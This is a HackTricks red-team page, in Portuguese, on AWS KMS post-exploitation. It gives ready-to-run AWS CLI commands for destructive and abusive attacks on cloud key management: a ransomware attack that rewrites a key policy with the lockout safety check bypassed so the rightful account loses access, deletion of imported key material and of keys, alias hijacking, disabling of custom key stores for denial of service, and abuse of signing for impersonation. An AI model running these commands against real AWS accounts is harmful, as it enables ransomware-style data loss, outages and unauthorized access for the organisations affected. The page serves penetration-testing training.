AWS - KMS Pós-Exploração

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

KMS

Para mais informações, consulte:

AWS - KMS Enum

Criptografar/Descriptografar informações

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Lê o arquivo em modo binário, comumente usado para arquivos não textuais.
  • file://: Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.

tip

Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)

  • Usando uma simétrica key
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Usando uma chave assimétrica:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das keys e conceder à sua conta acesso a elas, removendo o acesso concedido à conta legítima.

Então, os usuários da conta legítima não poderão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas keys, criando um ransomware simples mas eficaz na conta.

warning

Note que AWS managed keys aren't affected por este ataque, apenas Customer managed keys.

Também observe a necessidade de usar o parâmetro --bypass-policy-lockout-safety-check (a ausência dessa opção no web console torna este ataque possível apenas via CLI).

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

Atenção: observe que se você alterar essa policy e apenas conceder acesso a uma external account, e então a partir dessa external account tentar definir uma nova policy para devolver o acesso à conta original, você não conseguirá porque a Put Polocy action cannot be performed from a cross account.

Genérico KMS Ransomware

Há outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:

  • Criar uma nova key with a key material importada pelo atacante
  • Re-encrypt older data da vítima, criptografados com a versão anterior, com a nova
  • Delete the KMS key
  • Agora somente o atacante, que possui o key material original, poderia ser capaz de descriptografar os dados criptografados

Delete Keys via kms:DeleteImportedKeyMaterial

Com a permissão kms:DeleteImportedKeyMaterial, um ator pode deletar o key material importado de CMKs com Origin=EXTERNAL (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível a menos que material compatível seja reimportado, permitindo que um atacante efetivamente cause perda de dados do tipo ransomware ao tornar a informação criptografada permanentemente inacessível.

bash
aws kms delete-imported-key-material --key-id <Key_ID>

Destroy keys

Ao destruir chaves, é possível realizar um DoS.

bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

Observe que a AWS agora impede que as ações anteriores sejam executadas a partir de uma conta cruzada:

Alterar ou excluir Alias

Este ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como kms:DeleteAlias ou kms:UpdateAlias um atacante pode remover ou apontar novamente aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou corretamente remapeado.

bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancelar exclusão de chave

Com permissões como kms:CancelKeyDeletion e kms:EnableKey, um atacante pode cancelar uma exclusão agendada de uma chave mestra do cliente do AWS KMS e posteriormente reativá-la. Ao fazer isso, a chave é recuperada (inicialmente em estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.

bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Desativar Chave

Com a permissão kms:DisableKey, um ator pode desativar uma customer master key do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.

bash
aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Com a permissão kms:DeriveSharedSecret, um ator pode usar uma private key mantida pelo KMS e uma public key fornecida pelo usuário para calcular um ECDH shared secret.

bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Com a permissão kms:Sign, um agente pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.

bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS com Custom Key Stores

Com permissões como kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore ou kms:UpdateCustomKeyStore, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperáveis. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Restringir e monitorar essas permissões é, portanto, crítico.

bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks